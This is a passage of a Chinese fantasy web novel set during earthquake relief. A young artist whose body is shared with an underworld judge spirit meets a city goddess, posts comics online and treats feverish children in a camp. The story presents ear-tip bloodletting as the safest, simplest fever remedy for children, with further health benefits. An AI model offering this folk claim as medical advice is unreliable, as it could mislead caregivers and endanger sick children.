这时的常笑提出要回军队,常有为自然没办法阻拦,但不再同意他回特种部队,并且希望他可以留在自己的军队。
倒不是为了开小炤什么的,他们在军队的时候并不论父子,只是经过之前的事,常有为觉得孩子在眼皮子底下不容易出事。
常家是军人世家,该做什么,不该做什么大家都清楚,他不觉得父亲会偏私,所以他同意了。
这一呆就是三年。
虽然生活归于平静,但自家小孩依旧如三年前一样优秀,演习从来都是第一,有他保护吴惟他可太放心了。
挂在吴惟腰间的骨笛晃了晃,宁淮简直要对吴惟叹服了,心想事成说的就是你吧,上午还在想怎么把大奶绑过来,晚上就有人拱手相送。
真绝!
他不知道此时的婴灵也竖起了大拇指。
不过,惟崽啊,你是不是忘了什么?
算了不重要。画画的事明天也一样。
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亥初,也就是九点多,吴惟从床上坐了起来,常笑瞬间就醒了。
“怎么了?”
婴灵:“?”
不是吴惟你同学到底都是什么极品,怎么睡觉都能盯着人?!
“我出去一趟。”
“稍等。”常笑快速穿好衣服,“忘记跟你说了,以后我就是你的警卫员了,有什么事记得叫上我。”
今天他们的宿舍换了个人,姚洞回来看毕子濯睡的正香,也不打扰他,直接去隔壁宿舍睡了,并不在场。
隔壁宿舍的出夜班,已经出去干活去了。
“行…”婴灵替吴惟答应。
常笑眼神瞬间变冷了,“你不是吴惟,你是谁?”
婴灵:“……”
夭寿了,这就是人间的军人嘛,恐怖如斯,不过既然是伙伴她也没想过要瞒着什么。
“判官,也算是他的搭档。今晚我们本来说好要去请本地城隍问一些事情,但他太累了睡着了,只能我用他的身体去了。”
“这件事最好不要拖,否则我也不想在他这么累的情况下再跑出去。”
常笑点点头,他能分清别人是不是在说谎,更何况婴灵也是比较单纯的人,单看表情就很好懂。
他现在唯一关心的就是,“不会对他身体有什么影响?”
“明天多睡一会儿,晚点起来就好了。”
“好,那走吧。”
常笑在婴灵指引下,带着她到一处地脉口,在山里,路很不好走,有段路甚至是常笑背着她走的。
要不是在人间,又暂时不好脱离吴惟的壳子,她高低得来个御笔飞行!
地脉无形,不过这里和别处不一样,里面的古建筑竟一点事也没有,依旧伫立。
庙中人员众多,两人进去以后竟看到许多孕妇幕天席地,周围人来人往好不忙碌。
“这?”二人都有点懵。
这时有人发现他们了,有道士向他们这边走来,他看到常笑身上的军装,“无量天尊,两位是官方派来接这里的受灾群众的吗?”
不是…他们并不清楚这里受灾情况,毕竟婴灵只是跟着地脉指引走的。
不过还是要先安抚一下人心,婴灵说道:“这次不是,我们只是前面探路的,道长能和我们说一下这里的情况吗,我们也好汇报一下,请上面安排救援。”
“福生无量天尊,”道长行了个礼,“是这样的,这里是城隍庙,之前地震的时候,大概是城隍显灵了,这座庙被保护下来没有遭受毁坏。”
“我知道二位可能不信,但确实如此,当时我们这里基本上没有
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什么晃动,我们还不清楚发生什么事了,就看到对面山下的医院倒塌了。”
大概解释了一句,道长接着上面的话题,“可奇怪的是,我们这没事,从那边上来的山路也没事,山下的医院是妇产科的,好在我们这不是地震中心,有预警,有不少人从医院跑了出来。”
“他们无处可去,有人看山路没事,就上来碰碰运气,没想到我们这小小城隍庙居然也好好的。”
“那些孕妇里有些受了惊吓即将临盆,就希望我们可以收留他们,我和几位居士商量了一下,觉得无论如何都不能见死不救,便随医生下山,帮他们转移了孕妇和受伤的人。”
“好在庙里为了修行,平日里会种一些蔬菜,倒也能暂时顾住这么多人口,但这里医疗条件太差,很多物资都稀缺。”
“而且庙里房间不够,只能把她们情况相对好一点的,暂时安置在外面了。”
婴灵想起来吴惟空间里有后来塞进来的医疗物资,就是为了遇到紧急情况能用得上,于是动用意念把东西放在了不太显眼,但道长能看得到的地方。
“这?!”道长吓了一跳。
“嘘!”婴灵手指放在唇边,轻声说,“一会儿去拿,怎么解释你自己想,别暴露我们的事。”
“福生无量天尊。”道长会意,像婴灵行了个大礼。
“我们还有事,等事情办完就会上报,不过现在人手紧缺,可能暂时顾不上你们,不过你放心,最晚明…后天,我们一定会把物资运上来。”
“老道明白,真的太感谢您了!”
婴灵带着常笑离开了,到了附近一处没人的地方。
“这里也行?”
“距离不远。”婴灵解释道,“跑这来是因为距地府近,比较好传达消息,现在她都显灵了,我来过她肯定能感觉到。”
话音刚落,一方印飘落在婴灵眼前,她抬手接住法印,一道穿着城隍爷官服的身影从里面飘出。
由于现代文化入侵地府,地府的穿衣风格也发生了一定改变,如果用人间的话说就是新中式。
这位城隍爷也是如此,旗袍配马面,肩上还带着披帛一边挂在胳膊上,一边搭在肩上,落下来被腰上的西式腰封固定,一只手还带着白手套,长卷发盘在脑后,显得优雅得体又干净利落。
好嘛,看来不是城隍爷,而是城隍娘。
“城隍是女孩儿?”常笑是不怎么露出表情,但也有被惊到的时候,毕竟一直以来的刻板印象在那摆着呢。
“是啊,”姑娘开口了,“地府的官员大多数都是女子,怎么,很奇怪?”
“没…”难得被噎,常笑还是认真解释了一下,“因为很多神话传说里都是男的,还叫城隍爷,所以下意识以为是男的。”
“人间嘛,”城隍娘摊摊手,也不打算多解释什么,飘到婴灵身前,捏了捏她…哦不,是吴惟的脸。
“小婴灵,你怎么穿了这么个壳子,想去天上当卧底?”
看着眼前放大的脸,婴灵一激灵,后退一步,才说道,“沅柩姐姐,别闹了,现在哪来的天官。”
虽然以前沅柩也喜欢逗她,捏她脸什么的,甚至还把她当娃娃一样抱起来亲,但这还是第一次从人的视角看这么近一张脸,着实有点惊吓。
毕竟鬼的视角和人还是有区别的。
沅柩手回收,露出一副恶作剧得逞的表情,“也对,这孩子是那些家伙转世?”
“你又说胡话了,”婴灵无奈,“轮回就像是把水倒入河中在舀一瓢,怎么可能有谁的转世,不过都是人间骗人的把戏。”
“开玩笑嘛,这么认真做什么。”看她这么一本正经,沅柩有些无趣。
向后一仰,身后出现一方珠光宝气的卧榻。
她顺势坐在塌上,翘起二郎腿,手上团扇掩面,姿态看起来慵懒,但一股气势压下来,“说吧,有什么事。”
常笑瞳孔一缩,身体瞬间紧绷,他不是没见过领导,从来没有见过谁有这样的气势,压得他有些喘不过气来。
原来三班同学口中,修仙小说里的威压,是真是存在的。
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35. 第 35 章
婴灵就不一样了,她反而松了口气,与其应付怪阿姨,真不如这个看起来不太好对付的“城隍娘”。
娘在地府是个尊称,就像人间的爷一样,在人间封建时代,甚至有的成就杰出的男鬼被称为“娘”。
很奇怪对吧,但地府就是讲究因果报偿的地方,不止个人,整体也是,因为那个年代在人间女性被压迫严重,地府社会结构就呈现一种反向情况。
这是规则所致。
“临州的判官,来管蜀州的事,嗯?”
地府和人间行政区划分略有不同,但大差不差,州的级别相当于省,每个州都会有几座鬼城,也就相当于市。
“我在休假,自然不是以判官的身份来的,”婴灵不紧不慢地说道,“只是作为朋友,给姐姐提个醒而已。”
地府各州守望相助,互相之间关系其实不错的,但该有的盘问还是要有,毕竟越权是忌讳,如果互相之间经常有这种行为,容易出现不良的攀比和权力的倾轧。
天灾对地府也有冲击力,若是死的人太多了,鬼城人口压力也会很大,因为轮回本身就是一种死亡,它并不像传说里面的,你这一世怎么样,下一世怎么样。
它就像是一锅大杂烩,轮回之勺捞到的从来都不是一个完整的灵魂。
人死为鬼,因为人身无法承载灵魂,灵魂需要另外的庇护,所以去了地府。
而在地府,其实就是慢慢地在走轮回路,从你灵魂之中逸散的能量,会顺着地脉流向轮回,当意识消磨殆尽,灵魂彻底消散,就是真正的死亡。
因为你的意识不再,轮回的只是一团被打散的,带着零碎生前记忆的灵魂能量而已。
而能够聚集灵魂能量的,是意识,是执念,这也是为什么孩童会有灵魂不全,只有慢慢成长,懂得欲念,才会真正拥有完整的灵魂。
至于欲念,在这里并没有贬义,它只是指一个执念,就比如宁淮的执念是闹闹,一些修行人致力于消除执念,也是一种执念,动物想要活下去,亦是执念。
说回人口,人间有人间的道德,地府有地府的规范,他们当然不能因为鬼太多,就让一些鬼去轮回,这无异于人间无故杀人,是需要承受业力的。
他们也不可能因为鬼太多,要求鬼去野外居住,须知,地府的野外,比人间的野外要危险数倍。
沅柩以为婴灵说的是这件事,虽然地府可能会增加负担,但只是有些麻烦而已,又不是不能解决,更何况,“地府可不管人间事,怎么,你是想让我出手?”
坏了规矩,虽然没有什么具体的惩罚,但开了这个口子,可不是什么好事,人的欲望无限,鬼也一样。
若是破了戒,哪怕现在她有苦衷,谁知道最后会不会演变成地府的鬼神仗着自己特殊能力去操控人间,这样的话,她岂不是要成千古罪人了。
婴灵叹了口气,她当然知道这个道理了,所以肯定不会为了天灾让沅柩出手,但是另外一件事,地府人间都可以管。
只要你能向对方的政府要到权限,也就是让天地为见证签订契约,这样就不算无故越权,后来者也不得以此为例子,去越权管人间事。
“天魔出世,你也不管吗?”
听到这个名字,沅柩脸色瞬间沉了下来:“江判官,这可不是说着玩的,你能确定消息来源吗?”
“我亲眼所见!”
当初婴灵被溺死,魂魄被困那天不知名的小河中,因为无意识保护了许多女性免受溺死之苦,还一路护送她的直到被好心的捡走,积攒了不少功德。
有拘魂使路过,发现了她,感念她她的仁善,便想办法帮她斩断与李家的孽缘,带回地府。
成为判官后,婴灵虽然拒绝起名,但在正式场合还是需要用到姓的,而这个“江”姓是当初救她的拘魂使的姓。
婴灵轻点眉心,一道光从眉心飞射而出,被沅柩接住,这是一道记忆,触碰到沅柩的时候她就接收到了。
“你认识这魔纹吧。”
“我知道了。”沅柩已经没什么表情了,现在的人间玄门什么德行谁不知道,既然出现了这种不能放任的事,出手倒也不算破戒,只是还需要人间同意。
她站起身,说道:“等我回去想办法与此间官方联系。”
“这个我可以帮你。”见她有所行动,婴灵笑了,抬起手手放在心口,“这孩子认识官方的人,这件事已经上报,明天让他帮你跑个腿,你回去等待他们召唤就行。”
沅柩挑了挑眉,“有趣,就是不知道你在哪儿找到这么好的苗子,四大符阵一次出现三个,还是同一个人学会的,连我都没有见过。”
婴灵给对方记忆,是那两次解决天魔咒的事情,她没有看见归终。
“错啦,是四个都会哦。”婴灵笑弯了眉眼,一副炫耀自家孩子的模样,要多骄傲有多骄傲。
连旁边的常笑都觉得很没眼看。
尤其是她还用的是吴惟的脸。
“行了,没事就滚去睡觉吧,”沅柩突然觉得她很烦,挥挥手赶人,“也不看看你的壳子疲惫成什么样了,可别明天起不来,让我干等着。”
婴灵不和她计较,但还是要逗她一句:“沅姐姐总是嘴上凶狠,真要什么事都公事公办的话,那间城隍庙是怎么回事?”
说完她拉着常笑转身就跑,根本不管身后变脸的沅柩。
不过也没跑几步,就被常笑拎起来扔背上了。
“哎,遇到你之前我一直觉得惟崽体力够好了。”婴灵趴在常笑背上,小声吐槽,“果然你们当兵的都不是正常人!”
都累一天了还能跑这么快!
常笑:“……”
这判官是不是也太活泼了点?
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吴惟早上起来的时候浑身酸痛。
吴惟:“?”
不是,咱就是说,原来使用愿力也是会造成肌肉损伤?
婴灵难得心虚,悄悄往空间里缩了缩。
要不打个八段锦活动一下?
打饭回来的常笑看到吴惟已经起了,在帐篷外伸胳膊,问了一句:“你要不要再睡会儿?”
吴惟:“?”
你怎么知道我很困?这么明显?算了不重要,还是活动一下吧,生发一下阳气就不困了。
他摇了摇头,常笑看他没啥事就没再说啥,自己蹲一边先吃饭了。
吴惟打了个八段锦,又打了个太极,终于觉得神清气爽。
就是回头查探了一下手上的功德和愿力,真是缩水严重啊。
不行得赶快赚回来了,不然遇到情况不够用就麻烦了!
他和常笑说了一下上午先不出去了,常笑当然巴不得呢,白天干了一天活,晚上换个灵魂又造了半夜,谁知道会不会出什么问题。
回来之后他提前去和特事局说了昨晚上的事,现在自然不用吴惟跑了。
一上午的时间就在画画中度过。
为了赶时间,吴惟画的很草,他把昨天一路上所见所闻画成了个长卷,又把天水高中的情况画成了条漫。
因为事情就在眼前,历历在目,加上修行之后头脑清明,能够记得很多细节,几乎不用思考,落笔如有神助,连撤回和修改次数都少,原本可能需要几天的工作量,就压缩在了一上午。
基地网络已经恢复,吴惟画完就登上了某博发了出去。
事事无为:[请为我们祈福 #图片# #乐市地震# #8.11大地震#]
[祝愿川省平安无事,我就知道太太肯定也关注了地震的事,有些脑瘫还骂太太没有同理心]
[那些人简直有病,又不是饭圈,比这个还不如比捐了多少呢 #双手合十#]
[我赞同楼上前半句,但是捐款这个也不能比,容易让人道德绑架,话说你们没发现太太好用心啊,虽然笔迹很潦草,但是这场景仿佛是亲眼见到了一样]
[太太最近不是在旅游嘛,我盘了一下他的旅游路线,一路往西南走,他最后一次更新的时候说下一站在汉城,so…]
[楼上不会想说太太就在现场吧?!]
[别说,你们还真别说,说不定是真的呢]
[不要啊,楼上还是不要说了,万一猜错了又要被人骂,这破圈子安静看画不好嘛,整天搞饭圈那一套]
[没错,还是少说的好,有空了去多关注一下实事比什么都强,各位不说了,我先去捐款了(ps:我捐了这个月的小月卡,大家量力而行,千万不要为了攀比而捐)]
[你们不看ip嘛,ip在川省啊,没啥不好说的,诚心祈愿,消灾解厄,希望大家都可以平平安安]
[楼上说得对,我捐杯奶茶钱,大家量力而行]
[福寿无量天尊,我捐了大月卡,这次不打算冲了]
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[卧槽,我刚捐了月卡回头就是一个双黄]
[好人有好报,就当给自己攒功德了]
[卧槽我也中了,给楼下祈福的兄弟姐妹提个醒,捐款不在多,心诚则灵]
[……]
事事无为:[请注意培养安全意识#图片# #乐市地震# #8.11大地震# #川省地震# #地震防护# ]
事事无为:[置顶][(高亮)这条漫画是根据真实事件改编,希望各大学校可以引以为戒]
[卧槽?!!怎么会有这样的学校!]
[假的吧,现实中怎么可能会有这样的学校,虽然你画的很好,但造谣是不对的!]
[我作证,不是造谣,我们学校就是这样,如果不是不在地震带上,指不定会出什么事呢]
[我们也…]
[……](此处省略数条类似经历)
[卧槽大家快去看头条,热搜第一,这是真事儿,天水中学一千多名学生遇难,只有八十多名在上体育课的学生逃了出来!]
[卧槽居然是真的,这垃圾学校,校长怎么不去死]
[死了死了,校领导全军覆没,但是学生们做错了什么?!]
[公告说以后消防演习也会纳入学校考核的指标,早该这样了]
[希望别又变成形式主义]
[形式主义也比没作为强,不过最好还是正经演练,不然灾难真来了顶不住啊]
[+1]
[……]
[但是有没有人发现,太太这张画发布时间,比官方报道还早]
[发现了,之前大家还以为是杜撰的,之后官媒就发消息了,他是不是知道什么内部消息]
[最近一直关注太太的,他最近在旅游哦路线正好是往川省去的]
[卧槽,他不会在一线吧?!]
[@事事无为,太太是不是在一线,在的话能说一声吗,我有点担心]
[我都说腻了,看ip就知道,人就在一线啊]
事事无为:[嗯,不用担心,后勤很安全]
常笑就这么看着吴惟睁着眼说瞎话,昨天到底是谁哪怨气深重往哪钻的。
[太太注意安全啊]
事事无为:[会的,担心的话大家可以多为灾区民众祈福,我相信人心可以抵挡天灾]
[好好好!一定,以后每天起来第一件事就是祈福,虽然没什么用]
[我也是!我也相信!大家一起加油!]
[我原本不是很相信这些,但我相信太太,之前一直运气不太好,自从保存了太太的天官,很长一段时间都心情舒畅,运气也一天比一天好了!所以我相信你!]
[这么一说我也是,太太近期的作品跟有魔咒似的,每次看完都一身轻,如果是太太说这话我是相信的,希望大家越来越好,希望灾区能多活下来一些人,希望家园可以早一点重建起来]
[……]
吴惟感受着体内充盈起来的愿力,松了口气,不过内心有点过意不去,还是利用了别人。
婴灵:“你要是实在过意不去,就多用这些能力帮助别人就好啦。”
吴惟:“嗯。”
“对了,”刚刚吴惟在看评论的时候刷到了头条上那个学校的报道,“学校那边已经净化过了吗?”
“我问一下,”常笑掏出对讲机,被吴惟制止了,“一起去看看吧,我得确认一下那些孩子的灵魂怎么样了。”
“好。”
司令部,吴惟到的时候,刚好熟人都在,毕子濯、宋靥星、楚星垣、莫繁,特事局的局长赵年,行动处处长常皓轩,还有之前在宁淮别墅遇到的那个道医妹子,名叫曲枫荷,以及两位他在飞机上见过的玄门人士。
军方那边就是司令常有为和他的警卫员,副司令不在。
那两位一个叫宿万,是个卜师,他之前是个道士,精通科仪,另外一个叫曹幼枫,是赶尸道人,对沟通鬼神也有一点经验。
他一进来,众人的眼睛齐刷刷落在他身上,刚刚在他来之前,众人正好在对消息,结果发现,好家伙,原来大家都认识一个叫吴惟的神奇小伙。
吴惟被他们盯地头皮发麻,默默后退一步放下帘子。
这不对,让我重新再进一次。
吴惟面无表情地想。
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36. 第 36 章
“好了,孩子害羞,你们收敛点。”司令笑地和蔼,但让吴惟更想钻地缝了。
“咳…”莫繁轻把手放在嘴角咳一声,掩饰自己的幸灾乐祸,声线却很平稳,“好了,咱们说正事,小无为来这里是想问天水的事吧?”
“是的。”说起正事,吴惟自在一些,表情也严肃了,“那些孩子怎么样了?”
“放心,好孩子都没事,你的因果祝福符阵很有用。”莫繁笑着说道,小老头笑眯眯的样子和蔼可亲,很拉人好感,吴惟又是尊重长辈的好孩子,对他的话很信任。
“不过里面也有坏孩子,他们就不怎么受符阵庇护了。”
“没关系。”这点吴惟还是拎得清的,“只要报应是他们应得的就行。”
这一点因果符阵确实平衡的很好,他们没有受到他们应得的惩罚以外的伤害,但校领导就惨了,几乎都魂飞魄散了。
教师倒是活下来不少,他们是人在屋檐下,不得不低头,但并没有主观去做什么对学生不利的事被规则认定为从犯,只是受了点伤,鬼生会比较短。
吴惟这个反应,大家都很欣慰。
他现在是众人的重点关注对象,毕竟能力越强责任越大,如果心性不行,破坏性是很强的。
但这一点似乎还是可以相信天道的。
看着众人满意的神色,没人看到的空间里,婴灵很骄傲地挺起胸脯,我家的!
真要论起来,她可是能算是吴惟半个师傅呢,另外半个是判官笔。
“另外一件事,今天午夜,我们要召唤城隍了,你需要在场吗?”莫繁提起这个,那两位不熟悉吴惟的玄门人士,看向吴惟的眼神变得有些探究的意味。
他们听说这件事是这人提出的,一般来说地府不管人间事,他怎么确定城隍会来?
天魔这件事婴灵告诉常皓轩之后,他只向局长提过,玄门人多嘴杂,并不是人人都向善,自然没有公开这件事。
现在知道的也就赵年、常皓轩以及宋靥星和毕子濯,他们俩连莫繁这个师叔都没提起过。
只不过某人精通卜算,早就隐约有些预感,再加上吴惟的出现,更是佐证了他的猜想。
“嗯。”
吴惟没觉得有什么不对,虽然昨天去找城隍的时候他睡着了,但在此之前他和婴灵已经通过气…不对,他从来没说出口过吧。
难道因为天魔的事,他们也默认需要地府的支持?不愧是官方的人,脑子转的就是快。
绕了一圈自己圆上了,吴惟没再说什么。
“行,那子时来这里集合。”
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“大家好,这里就是临时的安置点,我们能看到已经有不少受灾民众被转移过来,我们去看看情况。”
郁离拿着自拍杆,把镜头转移到身后,落在一排排整齐帐篷上,帐篷之间有不少人走动,生活气息浓郁。
她目光落在一位拿着工具往外走的大叔,上前去询问了一下对方愿不愿意接受采访。
大叔心态很好没有拒绝,不过希望能快一点,郁离问,“叔,您拿着这些工具是去做什么呢?”
大叔笑了笑,很豪爽地说道:“地震的时候我不是正好在外面嘛,没受什么伤,就想着有这么一身力气肯定不能白吃粮食,就去领了份清理道路的工作,这不,就这块安置区就是我们清理出来的。”
他的话语听起来很骄傲,郁离听完对大叔敬佩起来,竖起了大拇指,“叔,您真可靠,那我就不耽搁您时间了,加油。”
“哈哈,好,姑娘你去前线采访的话,记得一定要去那边登记,找个志愿者结伴而行,那边不安全。”
“好的好的,谢谢您提醒,真的太感谢了。”
大叔离开后,郁离对着屏幕感叹大叔人真好。
她的手机是现在是联网直播的,现在网络基本已经恢复,除了一些地方信号不好会断网以外,大部分地区都没有问题。
郁离是学新闻的,之前因为家里的事,让她积攒了不少粉丝,迫于社会各界的压力,她父亲没能再为难她了。
张家那边也因为她的曝光过的很不好,张钰婷的父母因为这件事丢了工作,张钰宴也因为被扒出在学校里欺负同学而被退学。
吃掉的人血馒头因为亲缘关系是无法吐出来了,但因果报应,家里不断出事,直到吃下的钱财尽数赔干净了他们运气才好些。
她弟弟郁行止那边,虽然没有脱离家庭,但对她父亲也冷淡下来,除了必要交流也不怎么说话了。
刚一到暑假,郁行止就在外面打工,希望可以减轻姐姐的负担。
郁离从这件事里得到了力量,她开始思考自己到底想要做什么,一放暑假就找了家媒体公司实习,但她看着乐此不疲地对着明星造谣,并不开心。
后来在路上,学习压力过大,跟父母大吵一架,差点跳江的高中生,她似乎直到自己想干什么了。
她想做一些对社会社会有用新闻,不论是揭露一些不好的事去引起他人重视,还是一些人性的闪光点,哪个都好,她希望可以为一些弱势群体尽一些微薄之力。
于是她把这件事写进报道里,虽然她粉丝不多,这件事没引起多少水花。
另一边,她劝下了轻生的孩子,跟他讲了自己的故事,压力谁都会有,她想告诉他你越是在乎,越是会受伤,只要自己内心强大起来,别人给自己的压力都可以试着拨开。
她不知道自己的故事能不能帮到那孩子,但至少当时的他已经打消了轻生的念头。
这次地震,郁离也是下了好大决心,才赶来现场,她没找到同行的人,干脆自己来了。
来的时候她以为自己会看见满目疮痍,但情况似乎比她想的好很多,虽然失去了家园,到人们的精神面貌还算不错,都在积极配合官方的工作。
有些受灾民众自愿加入志愿者,还有一些自发组织的寻亲互助小团队,在一些人的领导下,去废墟周围寻找是否还有活人。
有些会医术的民众加入了后勤,一切有条不紊的进行着。
郁离带着镜头在附近逛了一圈,遇到一个同行,对方可不是像她一样的小自媒体,似乎是哪个电视台的。
那位记者叫住她,问她愿不愿意接受采访,她没有犹豫,点头同意了。
“姑娘,你是外地来的吧,我看你拿着手机,是在直播?”记者之前就注意到她的动作,他也是新闻人,自然能看出来她在做什么。
“是的,我是新闻系的学生,也想用新闻为社会做一些贡献。”
“好志气!”记者不吝夸奖又问道,“是什么让你下定决心来一线报道的呢?要知道这里可不安全,随时都有可能地震。”
“因为很多志愿者都来了呀!”郁离不觉得这事有多不能理解,“现在是暑假期间,我又没什么顾虑的琐事,就想着虽然身上没多少力气和专业知识,可能别的方面帮不了什么忙,但是还可以做直播,多让外界了解这里的情况。”
说到这,郁离停顿了一下,才继续说道:“其实我也是有私心的,想着遇到这些事多帮帮别人,也许那一天自己出什么事了,也能遇到好心人来帮我。”
“哈哈,这样的私心可以多来点。”记者开了个玩笑,用官方的语气说道:“很感谢你能来这里,灾后救援和重建正是需要社会各界的共同努力,另外,感谢您接受采访。”
“不用谢!那我先去别的地方直播了,再会。”
“再会。”记者挥挥手和郁离告别。
[是的有勇气走到灾区小姐姐已经很棒了,一定要记得保护好自己!]
郁离的直播间从刚刚遇到官媒记者之后就开始疯涨,结束之后已经涨了十几万。
郁离查看直播间的时候,吓了一跳。
[是的,我家孩子在那边上学,也不知道怎么样了,多关注了几个媒体,希望能找到他们的消息]
郁离翻了翻评论,就看到了这条,轻声说道:“我知道了,谢谢[枫桥夜泊]的提议,之后我会多帮忙留意外地务工或者上学的受灾人员,如果有需要寻亲的可以关注一下我的直播间,也希望大家可以帮我在镜头下留意一些我可能漏掉到地方。”
[主播人美心善,谢谢主播]
“接下来干什么?我打算去请志愿者那边,跟着工作人员到一线那边看看情况。”
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吴惟给最后一个小朋友耳尖放完血,摸了摸额头发现似乎已经退烧了,松了口气,回头就发现有个镜头怼到附近,一时之间惊吓过度,身体失去了反应。
[小哥哥被吓呆了,记者同志你收着点hhh]
[话说这是在干嘛,为什么要对着耳尖挤血?]
“咳…”记者显然也发现了,轻咳了一声,“你好,请问您接受采访吗?”
不接受!!!
吴惟内心抗拒,但嘴上不好意思拒绝:“不介意。”
“请问您刚刚是在做什么?”
“在耳尖刺血可以治疗高热,这孩子发烧了。”说着他突然想起来,用体温计测了一下,36度多。
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确实已经退烧了。
“还好,一会儿不要碰凉水,也不要到外面吹风,这两个小时没有烧起来就是彻底好了。”
吴惟嘱咐了一句,孩子的父母立马道谢,哪怕应付了那么多家长,还是无法对这种情况做出有效反应,整个人直接僵在那了。
这一屋全是小朋友,只是因为各种原因高热,倒是不难治,在为首的中医知道吴惟有点刺血的经验之后就让他来这里帮忙。
因为医生那边忙的飞起,受伤的人太多了,这边不太顾得上,退烧药又少,孩子免疫力差,有时候退烧药吃多了容易免疫力降低导致这样的环境下反复发烧。
耳尖刺血是最安全也最简单的退烧方法。
别问吴惟怎么知道的,他就是受害者…不是。
先前就说过他从小体弱他妈妈为了他专门跑去学习过针灸,刺血就是其中一种。
现代医疗工具发达,除了小针刀和三棱针以外,还有个非常安全的,叫做采血笔的东西,只要轻轻一按,就会弹出来个针头,扎破点皮,谁来都不会出错。
所以吴惟每次生病的时候他妈妈就让他自己操作,久而久之就熟悉了,不过耳尖的话三棱针更方便,扎着也没那么疼。
好半天吴惟才应付过来小朋友的家长,逃出帐篷,记者和摄影师拍够了这里的情况也跟着出来。
[小哥哥落荒而逃的样子真可爱]
没错吴惟又被她抓了。
“您刚刚说的耳尖刺血能具体说说吗?”她敏锐的发现这个方法似乎特别管用又不像那么危险的样子。
耳尖能放出来多少血,最多就几滴,只要消毒到位,破伤风都不会有。
[所以这种方法真的有效?]
弹幕也都很关心。
“就是耳朵尖那个地方,用针刺一下,挤出来一点血,能治高热,头晕,对眼睛也有点好处。”
“我不是正经中医,只是来帮忙的,小时候经常生病,因为吃药多了免疫力下降,生病越来越频繁,所以我妈妈教过我这个方法。”
“你看那边,”吴惟指了指远处,那边人很多,进进出出似乎很忙碌,“那边是伤情比较重,或者一些有疾病的人住的地方,现在医生人手短缺,药品也缺,所以我就来这边帮忙了。”
得亏吴惟社恐归社恐,说到自己熟悉的东西时还算稳得住。
记者听得一愣一愣的,“原来如此,”大家都知道这里人手短缺,但是没想到竟然缺到这种地步,“之后还会有医生来这里救援吗?”
“不知道。”他又不是官方的人当然不知道了,不过,“应该有的,我相信就算没有医院专门组织人手前来,也会有热心的医生自发来帮忙的。”
“救死扶伤是医生的天性不是吗?”
弹幕瞬间变了。
[没错没错,虽然平时觉得周围的人都很冷漠,但是到了这种时候总是会有很多好人万里奔赴去救不想干的人,泪目]
[呸,楼上输入法背刺我,是不相干]
[没错,世上还是好人多,平日里的冷漠都是在保护自己,到真出事时候大家都露出柔软的一面]
[小哥哥说的真好,呜呜呜救死扶伤是医生的天性,我怎么就忘了呢,我现在就去申请去前线救灾!]
[我也去,我是护士,一定也能帮到忙]
[……]
曲枫荷撩开帐篷就看到吴惟在跟一旁的记者说些什么,走过来问了一句,“你怎么还在这?”
吴惟:“?”
不是那我应该在哪哪?
曲枫荷一脸不爽,“滚回去睡觉,脸白的跟啥似的。”
作为医生最讨厌不爱惜自己身体的人了,说话语气都变得很重,“忘了晚上还有事吗,累晕过去我可不给你收尸。”
吴惟:“……”
他总觉得自己今天是不是犯了什么天条,今天怎么诸事不顺啊,不是在社死就是在社死的道路上,旁边的记者还开着直播呢!
吴惟心有戚戚,一副唯唯诺诺的样子,应了一声,悄悄挪了两步,看曲枫荷不再关注自己,才松了一口气,快速跟记者道了个别,转身就溜。
[哈哈哈哈,这唯唯诺诺的小模样好可爱]
[这么一看,小哥哥脸色确实白,我还以为天生就白呢,原来是累的,好辛苦啊]
[可爱,志愿者都是很可爱的人!]
[小哥哥要好好休息呀,不要再贪功了,休息好了才能帮助更多的人]
[复议]
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37.第 37 章
说实话吴惟挺莫名的,他没觉得自己有多累,而且自己今天没做什么,上午画画甚至可以说放松了,下午就是给小朋友刺下血。
因为晚上有事,他也不敢跑太远,万一遇到什么事被绊住了就不好了,事有轻重缓急,虽然在外面也能帮上忙,但到底城隍这件事最重要。
其实要不是他这边本来就带着地府的人,倒也不一定要他在场。
但是他一向听医嘱,或许别人说他不一定会在意,但是曲枫荷是道医,还是医术很不错的那种。
他当然也怕晚上那么重要的事,真的晕在半路可就不好了,虽然婴灵肯定能把他弄回来。
于是很听话地躺在躺上了床,没想到沾了枕头秒睡。
这两天确实消耗狠了,或许他本身没有感觉,只是因为潜意识里觉得这样的环境下不能放松才会如此。
其实他就算不休息今天晚上也不会有事,这点是曲枫荷忽悠他的,有些人就是这样,知道有事的时候,就会一直提着劲,一旦放松下来就会各种不舒服全部涌上来。
作为医师她不希望自己身边的人出任何事情。
他们是在宁淮别墅里认识的,虽然没说上两句话,但刚好,吴惟就是曲枫荷喜欢的一类人,灵魂干净纯粹,嘴上不说,却总是在做好事,从来意识不到自己的善良。
曲枫荷很自然而然就单方面把他划为保护区内了。
用她的话说就是,跟好人在一起,自己也变得像个好人了。
这也是为什么她看到吴惟顶着苍白的一张脸活蹦乱跳得到处跑很窝火了。
从司令部出来之后,她都以为这家伙回去休息了呢。
这次吴惟是真睡着了,判官笔把安睡符阵拍吴惟脸上,深藏功与名。
一边的常笑看到吴惟睡着才松了口气,他之前不是没劝过,但是吴惟没感觉自己有什么问题,就没听,他只能寄希望于自己的特殊能力有效果,为他祈祷不要出事。
好在有人能劝住他。
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大家忙忙碌碌,吴惟睡的甘甜,一下午就这样过去了。
快十一点的时候,判官笔收起安睡符阵吴惟这才慢慢转醒。
看了下时间,刚刚好,他叫上常笑,一起去了司令部。
人来的挺全的,之前在开会的人都来了。
他到的时候,附近已经被清场了,开坛做法,确实不适合有不知情的人在场。
吴惟到的时候,已经准备完毕,一般来说召请鬼神是需要请神上身的,宿万作为主持仪式的高功,自然不可能上他的身。
“要不我来?”楚星垣自认为在场众人自己能力最低,知道的也最少,他来最合适。
婴灵直接顶了吴惟的身体:“不用那么麻烦,直接叫她名字就行。”
地府办事向来雷厉风行,才不需要搞天上那一套呢。
“这也太大不敬了!”宿万皱眉,这后生怎么如此孟浪。
曹幼枫没有说话,她从刚刚就在观察吴惟了,身上气息变化一下子就察觉到了,这是地府得到气息。
这人身上有地府的气息。
她曾经机缘巧合之下遇到过夜游神,也有幸和此夜游神成为好友,互相之间也有些业务往来。
地府不管人间事,主要是约束一些鬼神神官的,拘魂使和夜游神还是有一定权限在人间活动,搜集一些因为各种原因逗留人间的鬼魂,将其直接带走的。
当然,他们能够活动的空间也不是很多,人气过旺的城市自然是不行,这样容易冲撞凡人,对他们造成影响。
所以现代社会很多滞留人间的鬼不会被他们发现带走也是情有可原的。
这些就是人间玄门需要做的事了。
